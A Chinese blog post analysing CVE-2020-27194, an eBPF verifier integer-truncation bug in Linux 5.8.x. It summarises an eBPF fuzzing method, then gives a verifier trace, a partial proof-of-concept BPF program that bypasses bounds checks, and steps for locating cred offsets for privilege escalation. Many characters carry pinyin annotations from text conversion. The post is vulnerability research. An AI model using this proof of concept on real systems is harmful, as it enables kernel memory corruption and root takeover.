【kernel exploit】BPF漏洞挖掘與CVE-2020-27194 整數(shù)溢出漏洞

影響版本:5.8.x 內(nèi)核分支,v5.8.15 以及更低的版本。該分支的發(fā)行版:Fedora 33 、Ubuntu 20.10。

編譯選項(xiàng)CONFIG_BPF_SYSCALL。

漏洞描述:eBPF驗(yàn)證程序中進(jìn)行or操作時(shí),scalar32_min_max_or()函數(shù)將64位的值賦值到32位的變量上,導(dǎo)致整數(shù)截?cái)?,進(jìn)而錯(cuò)誤計(jì)算了寄存器的范圍,從而繞過bpf的檢查,導(dǎo)致越界讀寫。

補(bǔ)丁patch scalar32_min_max_or()函數(shù)中對(duì)32位和64位的情況分開處理,防止整數(shù)截?cái)唷?/p>

測(cè)試版本:Linux-5.8.14 測(cè)試環(huán)境下載地址

利用過程:與 CVE-2020-8835利用過程相同,只需要根據(jù)不同版本的內(nèi)核調(diào)一下array_map_opsinit_pid_ns的偏移,還有尋找cred地址的過程中用到的task_struct結(jié)構(gòu)偏移也不一樣,不同的內(nèi)核版本不同的編譯選項(xiàng)所導(dǎo)致。

一、BPF 漏洞挖掘介紹

BPF 介紹可以先看看 CVE-2020-8835利用過程。

本節(jié)來自Fuzzing for eBPF JIT bugs in the Linux kernel

1.bpf-fuzzer

介紹bpf-fuzzer 目標(biāo)是在userspace測(cè)試BPF的verifier,這樣可以利用LLVM's sanitizer和fuzzer框架。為什么要把內(nèi)核編譯成用戶程序,而不是直接用syzkaller來挖掘呢?原因有兩點(diǎn),一是因?yàn)閮?nèi)核fuzz太慢了,二是因?yàn)?code>BPF verifier等一些JIT編譯器會(huì)用鎖保護(hù),如果在多核上跑fuzzer就很難并行。

2.內(nèi)核組件編譯成用戶程序

獲取聲明:首先生成包含eBPF verifier及其主要函數(shù)bpf_check()的源代碼(處理宏并包含頭文件),寫入.i文件,這一步是為了獲得 verifier 引用的所有內(nèi)核符號(hào)。生成.i文件的示例:

KERNEL_SRC=/path/to/kernel/to/fuzz-test
process_example:
    cd $(KERNEL_SRC) &&  \
        make HOSTCC=clang CC=clang kernel/bpf/verifier.i

內(nèi)核函數(shù)hook:接著編譯每個(gè).i文件并鏈接到一起,這個(gè)過程很復(fù)。上一步雖然獲得了 verifier 引用的所有的符號(hào)聲明,但是并未獲得所有的定義。例如,已獲得kmalloc()函數(shù)的定義,但是沒有獲得該函數(shù)的定義。bpf-fuzzer是怎么解決的呢?采用user-space hooks,例如,用用戶標(biāo)準(zhǔn)函數(shù)malloc()來定義kmalloc(),這兩個(gè)函數(shù)的行為是一樣的,BPF verifier不會(huì)察覺。

void *kmalloc(size_t size, unsigned int flags)
{
    return malloc(size);
}

3. BPF漏洞挖掘

挖掘思路:已有的工作是使用libfuzzer去fuzz BPF verifier,本文的目標(biāo)是找到 JIT 邏輯漏洞,而非內(nèi)存損壞漏洞。例如,verifier 可能認(rèn)為一個(gè)內(nèi)存store操作是在邊界內(nèi)的,但實(shí)際上并不安全。

因此,僅僅循環(huán)調(diào)用 BPF verifier 例程并等待崩潰是不夠的,應(yīng)該考慮以下步驟:

  • (1)生成或變異BPF程序
  • (2)執(zhí)行userspace BPF verifier,來模擬執(zhí)行BPF程序
  • (3)如果發(fā)現(xiàn)BPF程序有效,則調(diào)用真實(shí)的 bpf() 系統(tǒng)調(diào)用并加載程序
  • (4)真實(shí)執(zhí)行BPF程序并采用一個(gè)機(jī)制來檢測(cè)bug
  • (5)重復(fù)
1-ebpf_fuzz_architecture_opt.png

fuzzer架構(gòu):為了具備可擴(kuò)展性,作者寫了個(gè)manager,manager負(fù)責(zé)啟動(dòng)虛擬機(jī)來運(yùn)行被測(cè)內(nèi)核,然后通過SSH連接到VMs,并執(zhí)行 eBPF fuzzer 進(jìn)程。每個(gè) eBPF fuzzer 進(jìn)程運(yùn)行一個(gè) generator 并喂給 userspace BPF verifier,如果生成的輸入是有效的,則eBPF fuzzer會(huì)調(diào)用 bpf()加載 BPF程序并觸發(fā)執(zhí)行。再采用檢測(cè)機(jī)制來檢查該BPF程序是否安全。

漏洞檢測(cè):JIT漏洞一般不會(huì)引發(fā)崩潰,所以很難檢測(cè)。解決辦法可以采用給JIT插入 assertions,但作者卻采用了更簡(jiǎn)單的方法。既然目標(biāo)是找到錯(cuò)誤的指針運(yùn)算,就意味著要使 BPF verifier 相信一個(gè)內(nèi)存load或store是在邊界內(nèi)的。所以漏洞檢測(cè)流程如下:

  • (1)加載一個(gè) BPF map,并把指針賦給一個(gè)寄存器
  • (2)對(duì)一個(gè)或多個(gè)寄存器進(jìn)行大量的 BPF ALU 和分支操作
  • (3)必須使用能通過操作改變寄存器狀態(tài)的寄存器,對(duì)指向BPF map的指針進(jìn)行運(yùn)算操作
  • (4)向 BPF map寫入隨機(jī)值

如果 BPF verifier 確信 BPF 程序是安全的,那么無論對(duì)寄存器進(jìn)行隨機(jī)ALU運(yùn)算的值是多少,無論之后對(duì) BPF map 指針加減多少值(即遍歷map中每個(gè)元素),內(nèi)存操作始終都會(huì)在邊界內(nèi),這意味著需要更改map的值了。

如果觸發(fā)了有問題的BPF程序,但是用于測(cè)試的map內(nèi)容并未發(fā)生變化,則可以得知fuzzer將某處寫入內(nèi)存但沒有寫入map,因此檢測(cè)到錯(cuò)誤的指針運(yùn)算。

4.輸入生成規(guī)則

輸入生成:即生成有效的BPF程序,可以先閱讀 CVE-2020-8835-writeup英文原文。

程序有效性與程序安全性:作者沒有采用對(duì)輸入結(jié)構(gòu)未知的fuzzer如 libfuzzer,而是從頭開始寫 input generator,因?yàn)橥ㄟ^編譯和反饋還是很難生成有效的BPF程序。BPF的語言規(guī)則,保留字段必須為0,條件跳轉(zhuǎn)必須往后跳且在邊界內(nèi),BPF程序是高度結(jié)構(gòu)化的,所以覆蓋導(dǎo)向的fuzzer很難生成有效的BPF程序。

寄存器狀態(tài):BPF支持10個(gè)寄存器—— BPF_REG_1BPF_REG_10。如果將BPF程序用作數(shù)據(jù)過濾器,并通過傳入數(shù)據(jù)包來觸發(fā)該程序,則只初始化R1和R10寄存器,R1是指向輸入包的指針,R10是指向本BPF程序的棧幀的指針,其他寄存器在進(jìn)入程序入口時(shí)都還未初始化,但可以具有以下狀態(tài):

  • NOT_INIT:寄存器的默認(rèn)狀態(tài),不能被read。
  • SCALAR_VALUE:寄存器包含標(biāo)量值,該值可以是常數(shù),也可以是范圍,如1-5。
  • PTR_TO_MAP_VALUE_OR_NULL:寄存器可能是指向map的指針或NULL值。如果呀使用指針,必須先檢查指針是否為NULL。
  • PTR_TO_MAP_VALUE:指向map的指針,可以放心向map讀和寫。
  • 除此之外還有其他狀態(tài),但與本文不相關(guān)。

5.BPF程序生成過程

(5-1)The header

目的:用常數(shù)或接近于 BPF map size 的值來初始化2個(gè)寄存器。

為了測(cè)試 BPF verifier 錯(cuò)誤的指針運(yùn)算,我們需要獲得一個(gè)指向 BPF map 的指針,便于讀取和寫入。這個(gè)獲得指向 BPF map 的指針的過程 固定出現(xiàn)在每個(gè)test case的開頭。指令如下:

// prepare the stack for map_lookup_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), 
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
// make the call to map_lookup_elem
BPF_LD_MAP_FD(BPF_REG_1, BPF_TRIAGE_MAP_FD),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// verify the map so that we can use it
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

現(xiàn)在 r0 就是指向map的指針了,可以用來生成指針運(yùn)算。以下代碼會(huì)把 BPF map 中的值賦值給兩個(gè)寄存器:

// 每個(gè)寄存器都是從 BPF map 讀取 64 bit,寄存器的狀態(tài)從 NOT_INIT 變?yōu)?SCALAR_VALUE。寄存器的值的范圍是 0-2**64,這一步的目的就是給寄存器加載一個(gè)隨機(jī)的立即數(shù)。
BPF_LDX_MEM(BPF_DW, this->reg1, BPF_REG_0, 0),
BPF_LDX_MEM(BPF_DW, this->reg2, BPF_REG_0, 8),

為了使寄存器的值更接近被測(cè)程序 的BPF map大小,下一步是生成條件跳轉(zhuǎn),以設(shè)置兩寄存器的minimum 和maximum 值。以下函數(shù)能生成寄存器的minimum bound。

// 目的是生成一個(gè)條件跳轉(zhuǎn),當(dāng)該值大于 minimum bound 時(shí),條件跳轉(zhuǎn)為 true。minimum bound是在 (-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE)范圍內(nèi)隨機(jī)生成的,作者令 FUZZ_MAP_SIZE=8192。
inline struct bpf_insn input::generate_min_bounds(unsigned reg, int64_t val) 
{
    bool is64bit = this->rg->one_of(2);
    this->min_bound = val == -1 ? this->rg->rand_int_range(-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE): val;
    
    if (is64bit)
        return BPF_JMP_IMM(BPF_JSGT, reg, this->min_bound, 1);
    else
        return BPF_JMP32_IMM(BPF_JSGT, reg, this->min_bound, 1);
}
(5-2)The body

目的:生成2個(gè)寄存器的隨機(jī)ALU算術(shù)操作。

主體部分就是隨意選取兩個(gè)可用的寄存器,進(jìn)行ALU操作或分支操作。

// 算術(shù)指令是先隨機(jī)選取一種可用指令,如BPF_ADD/BPF_MUL/BPF_XOR,然后確定源寄存器和目的寄存器,并返回生成的BPF指令。分支指令也是類似,先選取可用的分支操作碼,可以使用第二個(gè)寄存器或立即數(shù),由于知道BPF程序的大小和指令的下標(biāo),這樣就總能生成有效的指令。
for (size_t i = 0; i < num_instr; i++) {
    int reg1, reg2;
        
    this->chose_registers(&reg1, &reg2);
    if (rg->n_out_of(8, 10) || i == this->num_instr - 1) {
        alu_instr a;
        a.generate(this->rg, reg1, reg2);
        this->instructions[index++] = a.instr;
    }
    else {
        branch_instr b(this->header_size, this->header_size + this->num_instr, index);
        b.generate(this->rg, reg1, reg2);
        this->instructions[index++] = b.instr;
        generated_branch = true;
    }
}
(5-3)The footer

目的:為保證每個(gè)input都能對(duì) BPF map 進(jìn)行內(nèi)存寫, The footer 會(huì)選擇上述2個(gè)寄存器之一,接著進(jìn)行算術(shù)運(yùn)算(和The body中類似,但只能進(jìn)行加減操作,因?yàn)橹羔樦荒苓M(jìn)行加減運(yùn)算)。最后進(jìn)行內(nèi)存操作,然后將R0賦值為立即數(shù),確保有正確的返回值。

void range_input::generate_footer() 
{
    size_t index = this->header_size + this->num_instr;
    // generate the random pointer arithmetic with one of the registers
    int reg1, reg2 = -1;
    this->chose_registers(&reg1, &reg2);
    alu_instr ptr_ar;
    ptr_ar.generate_ptr_ar(this->rg, BPF_REG_4, reg1);
    this->instructions[index++] = ptr_ar.instr;
    this->instructions[index++] = this->generate_mem_access(BPF_REG_4);
    this->instructions[index++] = BPF_MOV64_IMM(BPF_REG_0, 1);
    this->instructions[index++] = BPF_EXIT_INSN();

6.Fuzzer結(jié)果

2-ebpf_fuzzer.png

以上顯示作者用了6個(gè)VM來fuzz的輸出結(jié)果,每個(gè)VM一秒能測(cè)1200個(gè)BPF程序,0.77%的BPF程序是有效的。大量時(shí)間用在了內(nèi)核真實(shí)測(cè)試BPF程序上,下一步可以在用戶空間測(cè)試BPF程序,避免與內(nèi)核交互,從而提速。


二、漏洞分析

// 漏洞函數(shù):scalar32_min_max_or() —— 對(duì)寄存器進(jìn)行或運(yùn)算時(shí),錯(cuò)誤計(jì)算了`bpf_reg_state`寄存器狀態(tài)中的寄存器值范圍
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
                struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_subreg_is_const(src_reg->var_off);
    bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
    struct tnum var32_off = tnum_subreg(dst_reg->var_off);
    s32 smin_val = src_reg->smin_value;
    u32 umin_val = src_reg->umin_value;

    /* Assuming scalar64_min_max_or will be called so it is safe
     * to skip updating register for known case.
     */
    if (src_known && dst_known)
        return;

    /* We get our maximum from the var_off, and our minimum is the
     * maximum of the operands' minima
     */
    dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
    dst_reg->u32_max_value = var32_off.value | var32_off.mask;
    if (dst_reg->s32_min_value < 0 || smin_val < 0) {
        /* Lose signed bounds when ORing negative numbers,
         * ain't nobody got time for that.
         */
        dst_reg->s32_min_value = S32_MIN;
        dst_reg->s32_max_value = S32_MAX;
    } else {
        /* ORing two positives gives a positive, so safe to
         * cast result into s64.
         */
        dst_reg->s32_min_value = dst_reg->umin_value; // 【1】將64位的值賦值到32位的變量上,導(dǎo)致整數(shù)截?cái)?,進(jìn)而錯(cuò)誤計(jì)算了寄存器的范圍,從而繞過bpf的檢查,導(dǎo)致越界讀寫。
        dst_reg->s32_max_value = dst_reg->umax_value;
    }
}

具體可以看Poc生成的日志

  ……
9: (79) r5 = *(u64 *)(r0 +0)
 R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: (bf) r8 = r0
11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
11: (b7) r0 = 1
12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
12: (18) r6 = 0x600000002
14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
14: (ad) if r5 < r6 goto pc+1
 R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
16: (25) if r5 > 0x0 goto pc+1
 R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
17: (95) exit
18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
18: (47) r5 |= 0
19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
19: (bc) w6 = w5
20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
20: (77) r6 >>= 1
21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
        ……

9:用戶的值通過r5寄存器傳入值 2

10:r0 賦值給r8,r0保存map的地址,對(duì)觸發(fā)漏洞無影響

11:r0 賦值為1,否則會(huì)認(rèn)為r0 泄露map指針產(chǎn)生報(bào)錯(cuò)

12: r6賦值為0x600000002

14:通過r5 < r6 的條件判斷使得r5寄存器的無符號(hào)范圍最大為 umax_value=25769803777=0x600000001

16:通過r > 0x0 的條件判斷使得r5寄存器的無符號(hào)范圍最小為 umin_value=1

18:對(duì)r5進(jìn)行or運(yùn)算,觸發(fā)漏洞函數(shù) scalar_min_max_or,調(diào)用到漏洞函數(shù)中的【1】處,賦值后r5寄存器的 s32_min_value=1,s32_max_value=1

19:將r5賦值為r6,得到r6為invP1 ,說明檢查模塊認(rèn)為r6是常數(shù)1,而實(shí)際此時(shí)r6為2

20:對(duì)r6進(jìn)行右移操作,此時(shí)檢查模塊認(rèn)為r6得到的結(jié)果為invP0(常數(shù)0),而實(shí)際此時(shí)r6為1

具體調(diào)試過程如下

3-CVE-2020-27194-Debug.png

一個(gè)常數(shù)變量x,如果它64位無符號(hào)數(shù)的取值范圍是 1<=x<=0x100000001,dst_reg->umin_value 的值為1, dst_reg->umax_value 的值為0x600000001,而在賦值 dst_reg->s32_max_value 的過程中發(fā)生了截?cái)啵?4位的值賦值到32位的有符號(hào)整數(shù)),導(dǎo)致 dst_reg->s32_max_value 的值為1,此時(shí)目標(biāo)寄存器的32位范圍為(1,1),因此bpf的驗(yàn)證模塊認(rèn)為這是常數(shù)1。

當(dāng)我們傳入2時(shí),對(duì)其進(jìn)行右移操作,驗(yàn)證模塊認(rèn)為是1>>1=0,而實(shí)際是2 >>1 = 1,所以可以對(duì)其進(jìn)行乘法操作構(gòu)造成任意數(shù),因?yàn)樵隍?yàn)證模塊看來只是0乘以任意數(shù),結(jié)果都是0,從而繞過檢查,可以對(duì)map指針進(jìn)行任意加減,造成越界讀寫。

所以bpf程序構(gòu)造如下:

struct bpf_insn prog[] = {
        BPF_LD_MAP_FD(BPF_REG_9, mapfd),
            BPF_MAP_GET(0, BPF_REG_5),  // r5 = input()
        BPF_LD_IMM64(BPF_REG_6, 0x600000002), //r6=0x600000002
        BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), //if r5 < r6 ;  jmp 1
        BPF_EXIT_INSN(),
        BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1),  //if r5 > 0 ; jmp 1 ; 
        BPF_EXIT_INSN(),
        // now  1 <= r5 <= 0x600000001
        BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0),   //r5 |=0;  verify: 1 <= r5 <=1 , r5=1 
        BPF_MOV_REG(BPF_REG_6, BPF_REG_5),     //r6 =r5
        BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1),  //r6 >>1    verify:0   fact: we can let r5=2  then r6=1 
        ......
}

三、漏洞利用

CVE-2020-8835利用過程相同,只需要根據(jù)不同版本的內(nèi)核調(diào)一下array_map_opsinit_pid_ns的偏移,還有尋找cred地址的過程中用到的task_struct結(jié)構(gòu)偏移也不一樣,不同的內(nèi)核版本不同的編譯選項(xiàng)所導(dǎo)致。

# 根據(jù) init_pid_ns 一步步找到當(dāng)前pid的task_struct中的cred。必須自己編譯帶符號(hào)的vmlinux才行。
$ cat /proc/kallsyms | grep init_pid_ns         # ——找到第一個(gè)task_struct 的地址
# 查看task_struct在grep init_pid_ns中的偏移,有的是0x38
$ p/x &(*(struct task_struct *)0)->pid      # ——pid位置
$ p/x &(*(struct task_struct *)0)->cred     # ——cred位置
$ p/x &(*(struct task_struct *)0)->tasks    # —— 下一個(gè)task_struct的位置

參考:

320will——Linux kernel BPF模塊的相關(guān)漏洞分析

360——CVE-2020-27194:Linux Kernel eBPF模塊提權(quán)漏洞的分析與利用

啟明星辰ADLab——Linux eBPF JIT 權(quán)限提升漏洞(CVE-2020-27194)分析與驗(yàn)證

Fuzzing for eBPF JIT bugs in the Linux kernel

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。